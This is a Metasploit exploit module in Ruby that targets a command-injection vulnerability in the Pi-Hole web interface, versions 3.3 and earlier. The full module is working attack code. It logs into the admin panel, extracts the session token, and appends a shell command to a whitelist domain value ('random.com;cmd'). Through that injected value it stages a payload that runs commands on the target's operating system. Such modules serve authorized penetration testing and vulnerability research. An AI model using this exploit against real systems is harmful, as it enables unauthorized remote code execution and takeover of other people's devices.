##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Pi-Hole Whitelist OS Command Execution',
'Description' => %q{
This exploits a command execution vulnerability in Pi-Hole <= 3.3.
When adding a new domain to the whitelist, it is possible to chain
a command to the domain that is run on the OS.
},
'License' => MSF_LICENSE,
'Author' =>
[
'h00die', # msf module
'Denis Andzakovic' # original PoC, discovery
],
'References' =>
[
['URL', 'https://pulsesecurity.co.nz/advisories/pihole-v3.3-vulns']
],
'Platform' => ['linux'],
'Privileged' => false,
'Arch' => [ARCH_X86, ARCH_X64, ARCH_CMD],
'Targets' =>
[
[ 'Automatic Target', {}]
],
'DisclosureDate' => 'Apr 15 2018',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [ARTIFACTS_ON_DISK],
'Reliability' => [REPEATABLE_SESSION]
}
)
)
register_options(
[
Opt::RPORT(80),
OptString.new('TARGETURI', [ true, 'The URI of the Pi-Hole Website', '/']),
OptString.new('PASSWORD', [ false, 'Password for Pi-Hole interface', '']),
]
)
end
def login(cookie)
vprint_status('Login required, attempting login.')
send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
'cookie' => cookie,
'vars_get' => {
'tab' => 'blocklists'
},
'vars_post' => {
'pw' => datastore['PASSWORD']
},
'method' => 'POST'
)
end
def execute_command(cmd, _opts = {})
# get cookie
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'admin', 'index.php')
)
cookie = res.get_cookies
print_status("Using cookie: #{cookie}")
# get token
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'admin', 'list.php'),
'cookie' => cookie,
'vars_get' => {
'l' => 'white'
}
)
# check if we got hit by a login prompt
if res && res.body.include?('Sign in to start your session')
res = login(cookie)
end
if res && res.body.include?('Sign in to start your session')
fail_with(Failure::BadConfig, 'Incorrect Password')
end
# <div id="token" hidden>f5al5pNfFj9YOCSdX159tXjttdHUOAuxOJDgwcgnUHs=</div>
# may also include /
%r{div id="token" hidden>(?<token>[\w+=/]+)</div>} =~ res.body
unless token
fail_with(Failure::UnexpectedReply, 'Unable to find token')
end
print_status("Using token: #{token}")
send_request_cgi({
'method' => 'POST',
'ctype' => 'application/x-www-form-urlencoded',
'cookie' => cookie,
'uri' => normalize_uri(target_uri.path, 'admin', 'scripts', 'pi-hole', 'php', 'add.php'),
'vars_post' => {
'domain' => "#{rand_text_alphanumeric(3..5)}.com;#{cmd}",
'list' => 'white',
'token' => token
}
})
end
def check
begin
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'admin', 'index.php'),
'method' => 'GET'
)
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") if res.code != 200
# vDev (HEAD, v3.2.1-0-g31dddd8-dirty)
# v3.2.1
%r{<b>Web Interface Version\s*</b>\s*(vDev \(HEAD, )?v?(?<version>[\d\.]+)\)?.*<b>}m =~ res.body
if version && Gem::Version.new(version) < Gem::Version.new('3.3')
vprint_good("Version Detected: #{version}")
return CheckCode::Appears
else
vprint_bad("Version Detected: #{version}")
return CheckCode::Safe
end
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
end
CheckCode::Safe
end
def exploit
if check != CheckCode::Appears
fail_with(Failure::NotVulnerable, 'Target is not vulnerable')
end
begin
execute_cmdstager(flavor: :bourne)
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
end
end
end
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